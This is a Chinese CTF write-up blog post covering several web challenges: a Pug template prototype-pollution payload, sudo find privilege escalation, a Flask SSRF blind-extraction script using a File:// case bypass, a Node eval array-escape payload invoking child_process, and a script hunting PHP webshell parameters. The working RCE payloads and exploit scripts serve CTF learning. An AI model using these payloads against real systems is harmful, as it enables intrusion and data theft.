NSSCTF第16页(1)

2023-12-14 19:42:51

[湖湘杯 2021 final]vote

是有附件,下载下来解压

在/vote-1637654763\www\routes下找到了源码

这道题的考点是

AST配合Pug模板引擎实现注入

有现成的payload

p6.is

主要代码,需要满足if语句,从而可以执行compile语句

{
"__proto__.hero":{
?? ?"name":"奇亚纳"
},
"__proto__.block": {
??? ?"type": "Text",
??? "line": "process.mainModule.require('child_process').execSync('cat /flag > /app/static/1.txt')"
??? }
}

[HZNUCTF 2023 final]ezgo

它提示文件在$PATH变量中未找到,path的翻译是路径,文件和路径,很容易让人联想到/usr/bin/目录下的所有用户都可用的应用程序(绝对路径执行命令)

关于Linux服务器里 /usr/bin 目录和 /usr/local/bin目录_/usr/local/bin在那-CSDN博客?

发现/usr/bin/sudo是可用的

输入 /usr/bin/sudo -l 发现不行

并且提示find命令不需要密码

?

那就可以用sudo find提权命令进行提权

find 命令提权

find基础命令与提权教程_find提权-CSDN博客

?find? (一个路径或文件,必须存在)? -exec? 执行命令 \;(\; 是-exec 参数的结尾标志)

?

?prize_p4

随便输入发现了说不是admin

点击get key 得到了这个,从最开始的url到现在的key,应该是ssrf+flask_session伪造

意思是是get传参时,访问/getkey得到这个页面,不是get传参时访问,得到的session就是key

用put访问,发现allow的时get head options,三种请求

得到了base64编码的key

?

选中部分解码得到key,进行伪造session

?key:777e890b-a3a1-45b5-ad0b-b43ca7e6be05

?

?

重新访问home页面,得到源码

?

代码审计一下

from flask import Flask, request, session, render_template, url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flag

SECRET_KEY=str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
??? SECRET_KEY=SECRET_KEY,
))

#src in /app

@app.route('/')
@app.route('/index',methods=['GET'])
def index():
??? return render_template("index.html")

@app.route('/get_data', methods=["GET",'POST'])
def get_data():
??? data = request.form.get('data', '123')
??? if type(data) is str:
??????? data=data.encode('utf8')
??? url = request.form.get('url', 'http://127.0.0.1:8888/')
??? if data and url:
??????? session['data'] = data
??????? session['url'] = url
??????? session["admin"]=False
??????? return redirect(url_for('home'))
??? return redirect(url_for('/'))

@app.route('/home', methods=["GET"])
def home():
??? if session.get("admin",False):
??????? return render_template_string(open(__file__).read())
??? else:
??????? return render_template("home.html",data=session.get('data','Not find data...'))

@app.route('/getkey', methods=["GET"])
def getkey():
??? if request.method != "GET":
??????? session["key"]=SECRET_KEY
??? return render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():
??? if request.method != "GET":
??????? session["key"]=SECRET_KEY''')

@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():
??? if session['data'] and session['url']:
??????? if 'file:' in session['url']:
??????????? return "no no no"
??????? data=(session['data']).decode('utf8')
??????? url_text=urllib.request.urlopen(session['url']).read().decode('utf8')
??????? if url_text in data or data in url_text:
??????????? return "you get it"
??? return "what ???"

@app.route('/getflag', methods=["GET"])
def get_flag():
??? res = flag.waf(request)
??? return res

if __name__ == '__main__':
??? app.run(host='0.0.0.0', debug=False, port=8888)

/getflag路由,但是要利用这个路由得知道flag.waf的源码

get_hind_result,这个路由有一个ssrf,可以拿来读源码,但是不会直接显示出结果,只会返回you get it,所以要用盲注
这个路由的ssrf需要在session里设置参数,可以用最开始的/get_data路由来获得对应的session值

ssrf过滤了file协议,利用大小写可以绕过

import string
import requests

url1="http://node4.anna.nssctf.cn:28839/get_data"
url2="http://node4.anna.nssctf.cn:28839/get_hindd_result"
flag="NSSCTF{"
while 1:
    for i in string.printable:
        tmp_flag=flag+i
        data={"url":"File:///proc/self/environ","data":tmp_flag}
        res=requests.session()
        res.get(url1,data=data)
        session_tmp=str(res.cookies.values())[2:-2]
        flag_resp=requests.get(url2,cookies={"session":session_tmp})
        if "you get it" in flag_resp.text:
            flag+=i
            print(flag)
            break

?利用盲注脚本

[GFCTF 2021]ez_calc

给的提示:

1.别想太复杂,试着传传其他数据类型
2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有提示都只针对登陆后的操作。

源码提示:

他限制了登陆时候账号不能为admin,大写之后不能为ADMIN,密码是admin123

绕过:

利用特殊字符,比如通过Character.toUpperCose()后,?会为I,但它经过Charocter.toLowerCose()后并不是i,所以说账户名为adm?n,登录成功

发现源码

?

?

?

?上面就是一个过滤字符sh ln fs x f lc , " (等,功能

然后关键点是最后eval(calc)会进行rce,

some()?方法会遍历由?split()?方法生成的字符数组中的所有元素

calc不能直接构造恶意参数,就算能,数组也执行不了 ,所以我们就需要进入那里面,需要逃逸多少个字符就定义多少个数组元素。?

calc数组长度一定要大于等于前面执行命令的字符串长度

calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

?

这里过滤了x,也无法直接利用exec,但是实际上这里是可以绕过的,因为我们通过require导入的模块是一个Object,那么就可以通过Object.values获取到child_process里面的各种方法,那么再通过数组下标[5]就可以得到execSync了,那么有了execSync后就可以通过写入文件的方式读取flag了

calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.?

?

[强网杯 2019]高明的黑客

贴大佬的脚本,在本地运行,然后就可以得到可执行的shell,文件

import os
import requests
import re
import threading
import time
print('开始时间:? '+? time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) ??? ??? ??? ??? ??? ??? ??? ? ??? ??? ?#这儿设置最大的线程数
filePath = r"D:\ctf\src"
os.chdir(filePath)?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5?? ??? ??? ??? ??? ??? ??? ?#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False?? ??? ??? ??? ??? ??? ??? ??? ? # 设置连接活跃状态为False
def get_content(file):
??? s1.acquire()
??? print('trying?? '+file+ '???? '+ time.asctime( time.localtime(time.time()) ))
??? with open(file,encoding='utf-8') as f:?? ??? ??? ??? ??? ??? ??? ?#打开php文件,提取所有的$_GET和$_POST的参数
??????????? gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
??????????? posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
??? data = {}?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?#所有的$_POST
??? params = {}?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?#所有的$_GET
??? for m in gets:
??????? params[m] = "echo 'xxxxxx';"
??? for n in posts:
??????? data[n] = "echo 'xxxxxx';"
??? url = 'http://127.0.0.1/src/'+file
??? req = session.post(url, data=data, params=params)?? ??? ??? ?#一次性请求所有的GET和POST
??? req.close()?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?# 关闭请求? 释放内存
??? req.encoding = 'utf-8'
??? content = req.text
??? #print(content)
??? if "xxxxxx" in content:?? ??? ??? ??? ??? ??? ??? ??? ??? ?#如果发现有可以利用的参数,继续筛选出具体的参数
??????? flag = 0
??????? for a in gets:
??????????? req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
??????????? content = req.text
??????????? req.close()?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?# 关闭请求? 释放内存
??????????? if "xxxxxx" in content:
??????????????? flag = 1
??????????????? break
??????? if flag != 1:
??????????? for b in posts:
??????????????? req = session.post(url, data={b:"echo 'xxxxxx';"})
??????????????? content = req.text
??????????????? req.close()?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?# 关闭请求? 释放内存
??????????????? if "xxxxxx" in content:
??????????????????? break
??????? if flag == 1:?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
??????????? param = a
??????? else:
??????????? param = b
??????? print('找到了利用文件: '+file+"? and 找到了利用的参数:%s" %param)
??????? print('结束时间:? ' + time.asctime(time.localtime(time.time())))
??? s1.release()

for i in files:?? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ??? ?#加入多线程
?? t = threading.Thread(target=get_content, args=(i,))
?? t.start()

跑完脚本,找到可利用参数
找到了利用文件: xk0SzyKwfzw.php

找到了利用的参数:Efa5BVG?

cat /flag

?

?

文章来源:https://blog.csdn.net/wwwwyyyrre/article/details/134977502
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。